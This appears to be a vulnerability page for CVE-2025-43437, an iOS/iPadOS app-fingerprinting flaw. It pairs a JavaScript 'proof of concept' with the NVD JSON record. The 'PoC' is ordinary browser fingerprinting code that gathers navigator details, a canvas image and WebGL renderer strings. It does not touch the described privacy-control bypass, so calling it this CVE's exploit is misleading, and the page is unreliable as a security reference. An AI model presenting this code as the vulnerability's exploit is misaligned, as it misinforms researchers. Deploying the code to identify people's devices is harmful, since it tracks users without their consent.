CVE-2025-43437

// CVE-2025-43437 PoC - User Fingerprinting via Privacy Control Bypass // This PoC demonstrates how a malicious app could fingerprint user device // Note: This is for educational and security research purposes only // Example fingerprinting techniques that could exploit this vulnerability: // 1. Device Information Collection function collectDeviceInfo() { const deviceInfo = { platform: navigator.platform, userAgent: navigator.userAgent, language: navigator.language, hardwareConcurrency: navigator.hardwareConcurrency, deviceMemory: navigator.deviceMemory, screenResolution: `${screen.width}x${screen.height}`, colorDepth: screen.colorDepth, timezone: Intl.DateTimeFormat().resolvedOptions().timeZone }; return deviceInfo; } // 2. Canvas Fingerprinting function getCanvasFingerprint() { const canvas = document.createElement('canvas'); const ctx = canvas.getContext('2d'); ctx.textBaseline = 'top'; ctx.font = '14px Arial'; ctx.fillStyle = '#f60'; ctx.fillRect(125, 1, 62, 20); ctx.fillStyle = '#069'; ctx.fillText('Fingerprint Test', 2, 15); return canvas.toDataURL(); } // 3. WebGL Renderer Info (potential exploit vector) function getWebGLInfo() { const canvas = document.createElement('canvas'); const gl = canvas.getContext('webgl'); if (gl) { return { vendor: gl.getParameter(gl.VENDOR), renderer: gl.getParameter(gl.RENDERER) }; } return null; } // Combined fingerprint generation function generateUserFingerprint() { return { deviceInfo: collectDeviceInfo(), canvasHash: getCanvasFingerprint(), webglInfo: getWebGLInfo(), timestamp: Date.now() }; } // Export for testing if (typeof module !== 'undefined' && module.exports) { module.exports = { collectDeviceInfo, getCanvasFingerprint, getWebGLInfo, generateUserFingerprint }; }

{"cve": {"id": "CVE-2025-43437", "sourceIdentifier": "[email protected]", "published": "2025-12-12T21:15:54.313", "lastModified": "2025-12-16T21:33:37.660", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An information disclosure issue was addressed with improved privacy controls. This issue is fixed in iOS 26.1 and iPadOS 26.1. An app may be able to fingerprint the user."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.1", "matchCriteriaId": "6D51AEDC-9086-4010-B3BF-C652D65D09C8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.1", "matchCriteriaId": "3981A7BE-BC98-4C6F-AE38-D68839368925"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125632", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}